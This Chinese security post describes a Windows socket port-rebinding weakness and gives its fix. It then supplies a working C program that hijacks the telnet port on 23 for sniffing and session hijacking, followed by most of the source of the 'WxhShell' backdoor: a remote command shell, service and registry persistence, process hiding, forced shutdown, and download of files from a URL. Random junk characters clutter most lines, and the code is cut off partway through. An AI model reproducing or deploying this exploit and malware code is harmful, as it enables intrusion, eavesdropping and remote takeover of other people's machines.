在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
"IRF^1 p s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
x+W,P 6Vu) saddr.sin_family = AF_INET;
rWip[>^ e9rgJJ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
}k_'a^;C1 !5>PZ{J bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
%G'P!xQhy VH<-||X/4 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
8]xYE19= *Jg&:(#}<J 这意味着什么?意味着可以进行如下的攻击:
(vwKC
D& nYy+5u]FG 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
8l
>Xbz 1krSX2L 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
e}TDo`q
T}Ve:S 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Up\ k67 +*x9$LSD 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
WO[O0!X Nt7z
]F ` 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
@
[%K D jh/aK_Q,w 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
,7SqRY,+ :rEZR ` 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
#E4|@}30` sv+6# #include
E>bpq^;r #include
c2fw;)j&X #include
1i@a? 27| #include
#F'8vf'r DWORD WINAPI ClientThread(LPVOID lpParam);
Wn Ng3'6 int main()
=!DpW VsQ {
-BEd7@?A WORD wVersionRequested;
xtzkgb,0[ DWORD ret;
U i`#B WSADATA wsaData;
>lF@M- BOOL val;
Y
{|is2M9' SOCKADDR_IN saddr;
!xEGN@ SOCKADDR_IN scaddr;
}z-6 ,i)'k int err;
OZQN&7 SOCKET s;
@oQ"FLF. SOCKET sc;
Jo:S*D int caddsize;
6T%5<I*&3s HANDLE mt;
,z`* 1b8 DWORD tid;
Xx ou1l! wVersionRequested = MAKEWORD( 2, 2 );
-{NP3zy err = WSAStartup( wVersionRequested, &wsaData );
%\Mc6 if ( err != 0 ) {
yBfX4aH:` printf("error!WSAStartup failed!\n");
=kBN&v_(! return -1;
W:O p\ }
cue aOtD saddr.sin_family = AF_INET;
+IG=|X %#E$wz //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
gB]jLe ^m -w@0^z saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
'Ej+Jczzpp saddr.sin_port = htons(23);
3|bbJ6*.< if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
bRK\Tua
6 {
Hd_,`W@ printf("error!socket failed!\n");
0e(4+:0 return -1;
+6:jm54 }
=A(Az val = TRUE;
XzPUll;ZU //SO_REUSEADDR选项就是可以实现端口重绑定的
{2U3 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
)oy+-1dE {
y-mjfW`n printf("error!setsockopt failed!\n");
>{>X.I~ return -1;
SZ~lCdWad }
;KT/;I //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
)C0d*T0i //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
J>1%*Tz //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
O"J"H2}S Op:$7hv if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Bv#?.0Ez; {
huvn_ ret=GetLastError();
5E
=!L
g printf("error!bind failed!\n");
&.P G2f* return -1;
RM>A9nv$\ }
vK$wc~ listen(s,2);
,@\z{}~v while(1)
e <+b?@}=B {
-?NAA]P5c@ caddsize = sizeof(scaddr);
jOm7:+H //接受连接请求
cJzkA^T9 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
C]Q}HI#G if(sc!=INVALID_SOCKET)
P 2)/!+`a {
f(
<O~D mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
W#\{[o if(mt==NULL)
9V>C %I {
s01=C3 printf("Thread Creat Failed!\n");
Cng_*\=O break;
?Cv([ ^Y.u }
0rxGb} b* }
WAJKP" CloseHandle(mt);
Q;GcV&f;f }
u-*z#e_L0 closesocket(s);
`x;m@\R WSACleanup();
c[Z#q*Q return 0;
HQMug }
/z :1nq DWORD WINAPI ClientThread(LPVOID lpParam)
o $'K}U {
0S$TLbx SOCKET ss = (SOCKET)lpParam;
?RS4oJz,5g SOCKET sc;
_}.WRFIJ@L unsigned char buf[4096];
p5l|qs SOCKADDR_IN saddr;
C$4{'J-ZH long num;
H'Jz:6 DWORD val;
j{6O:d6([$ DWORD ret;
4K*st8+bl- //如果是隐藏端口应用的话,可以在此处加一些判断
~RV"_8`V9 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
&a)d,4e<M saddr.sin_family = AF_INET;
+'_ peT.8 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
,\N4tG1\ saddr.sin_port = htons(23);
MHJRBn{} if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
O+]'*~a {
1C0'
Gf)3 printf("error!socket failed!\n");
XW~a4If return -1;
LMuDda }
]~!CJ8d val = 100;
5F#FC89Kk if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
yT[=!M {
-Ua&/Yd/} ret = GetLastError();
Z/d {v:) return -1;
^
4*#QtO }
s"p\-Z if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
eKf5orN {
~i!I6d~ ret = GetLastError();
}$LnjwM;, return -1;
1fC)&4W }
KyBtt47\ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
8Wgzca
Q* {
tJmy}.t1 printf("error!socket connect failed!\n");
uvJ&qd8M closesocket(sc);
[3x},KM closesocket(ss);
i*@ZIw return -1;
%,e,KcP' }
J"$U$.W= while(1)
Ctx>#uN6 {
q*kLi~Oe //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
9FPqd8(]*V //如果是嗅探内容的话,可以再此处进行内容分析和记录
N#XC%66qy! //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
&MPlSIg num = recv(ss,buf,4096,0);
E<7$!P=z` if(num>0)
9Ais)Wy%p send(sc,buf,num,0);
!M(SEIc4A else if(num==0)
!Y&]Y
G break;
ct<XKqbI num = recv(sc,buf,4096,0);
u?F.%j- if(num>0)
AnK X4Q send(ss,buf,num,0);
./^8L( else if(num==0)
QL*RzFAD3 break;
_9q byhS7 }
uh%
J closesocket(ss);
A4Q{(z-? closesocket(sc);
5rmQ:8_5 return 0 ;
0.2stBw }
HZ1 nuA MhJA8|B6| =woP~+ ==========================================================
dI>cPqQ bh#6yvpMR 下边附上一个代码,,WXhSHELL
A[F_x*S mF
UsTb]f ==========================================================
GMB3`&qh ewWw #include "stdafx.h"
<[ u(il GVfRy@7n #include <stdio.h>
ddd2w #include <string.h>
VTY # { #include <windows.h>
1.TIUH1 #include <winsock2.h>
&Pc.[k #include <winsvc.h>
Z4E6J'B8 #include <urlmon.h>
Yq4nmr4 (:\L@j #pragma comment (lib, "Ws2_32.lib")
h<8c{RuoZC #pragma comment (lib, "urlmon.lib")
f1sp6S0V\ 1Zi` \N4T #define MAX_USER 100 // 最大客户端连接数
Y0J:c?, #define BUF_SOCK 200 // sock buffer
| g1Cs #define KEY_BUFF 255 // 输入 buffer
KZa6*,,s ,_s.amL3O{ #define REBOOT 0 // 重启
fjY:u,5V_ #define SHUTDOWN 1 // 关机
ei"c|/pO [j0jAl #define DEF_PORT 5000 // 监听端口
J8ScKMUN2 %oquHkX%OJ #define REG_LEN 16 // 注册表键长度
%UhLCyC/ #define SVC_LEN 80 // NT服务名长度
*{5/" H5 ;=k{[g 'gv // 从dll定义API
2%9L'- typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
U"oHPK3"TA typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
)rlkQ'DN typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
.}T- R? typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
#_UP}G$ *ae)<l3v // wxhshell配置信息
lY2~{Y|4s struct WSCFG {
5.DmMG[T^= int ws_port; // 监听端口
2%J] })
char ws_passstr[REG_LEN]; // 口令
R&g&BF int ws_autoins; // 安装标记, 1=yes 0=no
\RRSrPLd- char ws_regname[REG_LEN]; // 注册表键名
pp(?rE$S char ws_svcname[REG_LEN]; // 服务名
.J8 gW char ws_svcdisp[SVC_LEN]; // 服务显示名
teC/Uf5 char ws_svcdesc[SVC_LEN]; // 服务描述信息
:Nwv&+ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
` N
R,8F int ws_downexe; // 下载执行标记, 1=yes 0=no
{47Uu%XT char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
+$#XV@@~ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
aof'shS8 mN . };
S)W?W}*R\ ecO$L<9> // default Wxhshell configuration
:RwURv+kT struct WSCFG wscfg={DEF_PORT,
hwQ|'^(@O "xuhuanlingzhe",
]6s/y 1,
BUV4L5( "Wxhshell",
3<N2ehi? "Wxhshell",
)X:Sfk "WxhShell Service",
og~a*my3 "Wrsky Windows CmdShell Service",
c5:0`~5Fn "Please Input Your Password: ",
9I$}=&" 1,
:eT\XtxM~{ "
http://www.wrsky.com/wxhshell.exe",
fY?:SPR+ "Wxhshell.exe"
EyA(W;r. };
qR_Np5nHF }Kp$/CYd // 消息定义模块
%M/L/_d char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
<|]i3_Z char *msg_ws_prompt="\n\r? for help\n\r#>";
U2tgBF?)A char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
r`.Bj0 char *msg_ws_ext="\n\rExit.";
j]`hy" char *msg_ws_end="\n\rQuit.";
pGF;,h> char *msg_ws_boot="\n\rReboot...";
}_}
char *msg_ws_poff="\n\rShutdown...";
)EQI>1_ char *msg_ws_down="\n\rSave to ";
m-+>h:1b|9 5w{U/v$Z char *msg_ws_err="\n\rErr!";
#<U@SMv char *msg_ws_ok="\n\rOK!";
9ZR"Lo>3e+ b$_qG6)IJO char ExeFile[MAX_PATH];
>{-rl@^H: int nUser = 0;
6ecx!uc$ HANDLE handles[MAX_USER];
>Z<ZT int OsIsNt;
7GG`9!l]D UH;bg}=8 SERVICE_STATUS serviceStatus;
B1s&2{L6K SERVICE_STATUS_HANDLE hServiceStatusHandle;
{7MY*&P$, v6| [p // 函数声明
/~7M @`1 int Install(void);
mG@[~w+ int Uninstall(void);
+2}Ar<elP int DownloadFile(char *sURL, SOCKET wsh);
R>1oF]w int Boot(int flag);
2"j&_$#l5X void HideProc(void);
i,%N# int GetOsVer(void);
Pgq(yPC int Wxhshell(SOCKET wsl);
vpOGyvI void TalkWithClient(void *cs);
^k{/Yl int CmdShell(SOCKET sock);
4:733Q3oK int StartFromService(void);
m=/HUt3(&0 int StartWxhshell(LPSTR lpCmdLine);
mA_EvzXk\ (n_.bSI VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
|nr;OM VOID WINAPI NTServiceHandler( DWORD fdwControl );
}H
saJ=1U fA0wQz]u // 数据结构和表定义
4>H0a SERVICE_TABLE_ENTRY DispatchTable[] =
"*V'
{
[u J<] {wscfg.ws_svcname, NTServiceMain},
[D(JEO@ : {NULL, NULL}
V$;`#J$\b };
e6qIC*C ! rg#/kd<?[V // 自我安装
Ol<LL#<j4 int Install(void)
9&<c)sS&B {
B<h4ZK% char svExeFile[MAX_PATH];
(!0_s48f HKEY key;
*UJB*r strcpy(svExeFile,ExeFile);
_ Qek|> ,I+O;B:0 // 如果是win9x系统,修改注册表设为自启动
G;A if(!OsIsNt) {
]W%rhppC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
qoZAZ&|HI RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
S;2UcSsQl RegCloseKey(key);
D+oV( Pw, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
s>WqVuXmn RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
=,i?8Fuz RegCloseKey(key);
gvo5^O+)HH return 0;
RZSEcRlN }
iEy2z+/"^ }
cIkA ~F }
UYQ@ub else {
/X#OX8gb] I\rjw$V# // 如果是NT以上系统,安装为系统服务
9ao?\]&t SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
6& hiW]Adm if (schSCManager!=0)
7Wiwnv_" {
O8rd*+ SC_HANDLE schService = CreateService
}g%&}`%' (
8^^ehaxy schSCManager,
P9Eh,j0_ wscfg.ws_svcname,
h"}F3E wscfg.ws_svcdisp,
RC8-6s& ln SERVICE_ALL_ACCESS,
t=p"nIE SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
:J )^gc SERVICE_AUTO_START,
FT}^Fi7 SERVICE_ERROR_NORMAL,
KVViTpZ svExeFile,
,'l.u?SKyd NULL,
N "eK9> NULL,
vt5>>rl NULL,
8
?:W{GAo NULL,
I<xcVY9L NULL
KK-+vq );
6Q+VW_~ if (schService!=0)
!ueh%V Ky {
A,=
R`m CloseServiceHandle(schService);
BP4vOZ0$ CloseServiceHandle(schSCManager);
?o/p}6 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
|BGzdBm^x: strcat(svExeFile,wscfg.ws_svcname);
Yx ;j if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
to#2. RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
9{A*[.XK] RegCloseKey(key);
09G]t1!, return 0;
TLVfu4 }
b
Hy<`p0 }
[ei5QSL | CloseServiceHandle(schSCManager);
I9U
8@e!X }
q zo)\, }
`<Hc,D; p #SD2b,f return 1;
Gt !Hm( }
: B1
"=ly o+R(ux" // 自我卸载
I4c%>R int Uninstall(void)
)_kEy>YscZ {
8@T0]vH& HKEY key;
G~Y#l@8M+ f\~w!- if(!OsIsNt) {
xu;^F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
}ASBP:c"t RegDeleteValue(key,wscfg.ws_regname);
:X*uE^bH RegCloseKey(key);
l?;ReK.r if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
f9n4/(Cy RegDeleteValue(key,wscfg.ws_regname);
>4#\ U! RegCloseKey(key);
u9+)jN<Yh return 0;
jar?"o }
p 4b6TI9; }
:4COPUBpPV }
J=n^&y else {
sn@)L ~$V I&x69 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Ww{-(Ktx if (schSCManager!=0)
-r0oO~KT {
T(~^X-k SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
BTE&7/i21 if (schService!=0)
dsbz\w3: {
a<V
Mh79* if(DeleteService(schService)!=0) {
52.hJNq#L CloseServiceHandle(schService);
\}Pr!tk! CloseServiceHandle(schSCManager);
)9!ZkZbv_m return 0;
8mX:*$qm: }
Io_7 CloseServiceHandle(schService);
Z \- }
%g4)f9> CloseServiceHandle(schSCManager);
Q?9eu%G6I }
_&xkj8O }
fAvB!e y|wR)\ return 1;
ACgWT }
&0-Pl.M _'s5FlZq // 从指定url下载文件
\z2d=E int DownloadFile(char *sURL, SOCKET wsh)
dBW#PRg {
<5sfII HRESULT hr;
c;R.rV< char seps[]= "/";
8EI&}I char *token;
Z,b^f
Vw char *file;
a&R,jq char myURL[MAX_PATH];
1+Y;
"tT char myFILE[MAX_PATH];
.fY$$aD$4 nON"+c* strcpy(myURL,sURL);
v/wR)9 token=strtok(myURL,seps);
061 f while(token!=NULL)
I,lzyxRP {
An
!i file=token;
NW Pd~l+ token=strtok(NULL,seps);
.GPuKP| }
@(rLn rX&?Xi1JeV GetCurrentDirectory(MAX_PATH,myFILE);
`P9%[8`C 9 strcat(myFILE, "\\");
sY'dN_F strcat(myFILE, file);
;WL0 send(wsh,myFILE,strlen(myFILE),0);
6IM:Xj send(wsh,"...",3,0);
P99s hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
m3_)UIJZ if(hr==S_OK)
Aj=c,]2 return 0;
HSk}09GV else
5wMEp" YHE return 1;
faI4`.i w~*"mZaG }
TUVqQ\oF: s-xby~ // 系统电源模块
9}Zi_xK&|e int Boot(int flag)
E}=F
{
~3m}
EL HANDLE hToken;
'MIM_m)H TOKEN_PRIVILEGES tkp;
<4Cy U
j {pB9T3ry] if(OsIsNt) {
v#+tu,)V; OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
2VS#=i(B^ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
*|:]("i tkp.PrivilegeCount = 1;
v_@!u` tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
k\M">K0E AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
BH=CoD. if(flag==REBOOT) {
z3-AYQ.H if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
u\G\KASUK% return 0;
hn u/ }
YyR~pT#ffT else {
HnfTj 5J@ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
aw/5#(1R return 0;
n
6|\ }
R2[!h1nZ }
Rd*/J~TK else {
3836Di:{ if(flag==REBOOT) {
Cqk6I gw if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
LIHf]+ return 0;
o>Z+=&BZ@a }
$(%t^8{a~G else {
sQe>LNp,G if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
gG=E2+=uy return 0;
bDPT1A`F }
gs77")K& }
/-ky'S9 pF"IDC return 1;
O8ZHIs }
PK*
$ b%,`;hy{ // win9x进程隐藏模块
-f:uNF]Ls void HideProc(void)
l=JK+uZ {
Zx]"2U# :!Tb/1 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
v4Q8RE? if ( hKernel != NULL )
{z}OZHJN {
) 4'@=q pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
/1lUFL2D ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
CR$5'#11) FreeLibrary(hKernel);
FeFH_ }
0qV!-i {GiR-q{t return;
Wc$1Re{z }
Ie?C<(8Ul
`#lNur\x // 获取操作系统版本
"L" 6jT int GetOsVer(void)
p( Q5!3C0q {
_\LAWQ|M4[ OSVERSIONINFO winfo;
vH#^ |u winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Ofg-gCF8 GetVersionEx(&winfo);
~(`iR xK if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Sc*O_c3D return 1;
Rj=xn(@d else
qzqv-{.h return 0;
&u_f:Pog }
K(HP PM\ ,tL<?6_ // 客户端句柄模块
L[*Xrp;/& int Wxhshell(SOCKET wsl)
I.\fhNxHY {
/^\6q"' SOCKET wsh;
'DQKpk' struct sockaddr_in client;
ZOG6 DWORD myID;
]f q.r j{9sn,<: while(nUser<MAX_USER)
xAD: Z" {
\6xVIQ& 0 int nSize=sizeof(client);
v7/qJ9l wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
e? fFh,a if(wsh==INVALID_SOCKET) return 1;
}ya9 +?I pRj1b^F5y handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
D[)g-_3f6< if(handles[nUser]==0)
Dw^d!%Ala closesocket(wsh);
]|[oL6" else
;Z"6ve4 nUser++;
]J C}il_b }
MI@id WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
?j8F5(HF? B@l/'$G return 0;
/nRi19a%xU }
eUA6X
,I ]`&ws // 关闭 socket
ND7
gxt-B void CloseIt(SOCKET wsh)
A|8(3PiP {
^l6q closesocket(wsh);
+)FB[/pXk nUser--;
W9?Vh{w ExitThread(0);
nj~1y') }
C_Y^< ^~2GhveBV // 客户端请求句柄
0t1WvW void TalkWithClient(void *cs)
)sVz;rF< {
5/Q^p" V 3-5:z SOCKET wsh=(SOCKET)cs;
b$+.}&M char pwd[SVC_LEN];
0Q=4{*:? char cmd[KEY_BUFF];
A5zT^!`[ char chr[1];
'tp1|n/1 int i,j;
fNc3&=]] LzS@@'] while (nUser < MAX_USER) {
RUmJ=i'4/ ZUb6d*B if(wscfg.ws_passstr) {
\&J7>vu^y if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
s3W )hU) //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
v3Y/D1jd" //ZeroMemory(pwd,KEY_BUFF);
*.AokY)_a i=0;
4QZ -7_ while(i<SVC_LEN) {
k#%BxT mh!;W=|/" // 设置超时
<IGQBu#ZH fd_set FdRead;
7%9Sz5z struct timeval TimeOut;
{SW}S_ FD_ZERO(&FdRead);
=9e()j FD_SET(wsh,&FdRead);
3ADTYt". TimeOut.tv_sec=8;
` IiAtS TimeOut.tv_usec=0;
_YY:}'+ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
*?K3jy{ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
hp!UW )W~w72j- if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
# &o3[.)9 pwd
=chr[0];
Q uy5H
if(chr[0]==0xd || chr[0]==0xa) { Kgi%Nd
pwd=0; RiF~-;v&
break; qIa|sV\w0
} AxUj CerNf
i++; =u(. Y
} EaG3:<>J
,Utp6X
// 如果是非法用户,关闭 socket 67Z|=B!7
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); veg\A+:'
} ! q!
=VC
RZ9vQ\X
U)
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7E4=\vM
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eZ
y)>.6Z
T@uY6))>F
while(1) { <SUjz}_Oa:
l
njaHol0
ZeroMemory(cmd,KEY_BUFF); a5:Q%F<!
%lAJ]$m
// 自动支持客户端 telnet标准 l~wx8
,?G
j=0; ~oh=QakW
while(j<KEY_BUFF) { -@-cG\{
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .xuLvNyQr
cmd[j]=chr[0]; $$2\qN -
if(chr[0]==0xa || chr[0]==0xd) { Zi[@xG8dm
cmd[j]=0; _=XzQZT!L
break; z@^l1)m
} 0m6Vf
x
j++; Ps(3X@
} CE:TQzg
!-%i" a
// 下载文件 +Cl(:kfYB
if(strstr(cmd,"http://")) { 4r`u@
send(wsh,msg_ws_down,strlen(msg_ws_down),0); l2U"4d!o
if(DownloadFile(cmd,wsh)) 1g5%Gr/0$5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'H<?K
else i2A>T/?{
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 900#K
} 0~Ot
else { [s"3g\L';
.{LFc|Z[
switch(cmd[0]) { hgX@?WWR
@dV'v{:,
// 帮助 G eN('0
case '?': { qi_[@da f?
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {BKu'A
break; f@T/^|`mh
} ZFNM>C^
// 安装 I4ZL+a
case 'i': { \1hbCv$Hf
if(Install()) | Uf6k`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); sptDzVM
else _9wX8fh3D
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G2U=*|
break; A!No:?S
} lwaxj7
// 卸载 RxY
;'NY
case 'r': { kMAQHpDD
if(Uninstall()) +^YXqOXU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); E!&A[TlX\
else -bu.Ar-#;h
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bv$_t)Xh
break; @T
} *x2+sgSf_0
// 显示 wxhshell 所在路径 }$s#H{T!
case 'p': { \dTX%<5D
char svExeFile[MAX_PATH]; lcHwKd
strcpy(svExeFile,"\n\r"); rlmzbIuI9
strcat(svExeFile,ExeFile); R<@s]xX_
send(wsh,svExeFile,strlen(svExeFile),0); M5s>;q)
break; j|TcmZGO
} N}b/;Y
// 重启 kB{
case 'b': { \:-#,( .V
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S(eCG2gR
if(Boot(REBOOT)) P7 O$*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )1wC].RFYm
else { 4eK!1|1
closesocket(wsh); im|(
4f
ExitThread(0); #\[h.4i
} a,tzt
]>
break; lfp[(Ph)9
} &[$qA
// 关机 [X]yj
case 'd': { IL` X}=L_
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G?CaCleG
if(Boot(SHUTDOWN)) q,3_)ZOq
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |9T3" _MmJ
else { nfET;:{
closesocket(wsh); bhDV U(%I6
ExitThread(0); Md(AqaA
} qPGpN0M`
break; P&"8R
} hJ$o+sl
// 获取shell !|;^
case 's': { M3ihtY
CmdShell(wsh); 'g.9
goQ
closesocket(wsh); YyEW}2
ExitThread(0); _jg&}HM
break; u:AKp<'
} xDU>y
// 退出 ;[TC`DuNj0
case 'x': { 'QW/TJ=7r
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6x|"1
G{
CloseIt(wsh); 'RK.w^
break; V/5.37FSb
} CZ"~N`
// 离开 ?,uTH
4
case 'q': { _L
5<
send(wsh,msg_ws_end,strlen(msg_ws_end),0); yW5/Y02
closesocket(wsh); f.8Jp<S2K
WSACleanup(); mW~t/$Y$
exit(1); |^9+c2
break; 5Z"IM8?
} G<n(\85X
} A2>rS
} 4j^-n_T
vFKX@wV S
// 提示信息 DT *'r;
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]5| o8.
} yN}upYxp
} };;\&#
l3kYfq{";"
return; +TzZ
} +@*}_%^l"
P7ktr?V0a
// shell模块句柄 9D@
$Y54
int CmdShell(SOCKET sock) ML@-@BaN
{ 0qP&hybL[(
STARTUPINFO si; rP$vZ^/c
ZeroMemory(&si,sizeof(si)); RO.GD$ 3n
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z\64Qpfm
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Axp#8
PROCESS_INFORMATION ProcessInfo; b{Srd3
char cmdline[]="cmd"; '](4g/%
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +/
s2;G
return 0; [MLJs-*
} 4Uz1~AuNxb
h1O^~"x
// 自身启动模式 Z{-x}${
int StartFromService(void) Zx$q,Zo<
{ Gt;@.jY&
typedef struct oVi_X98R
{ a (Q4*XH4
DWORD ExitStatus; =2+';Xk\
DWORD PebBaseAddress; 81?7u!=ic+
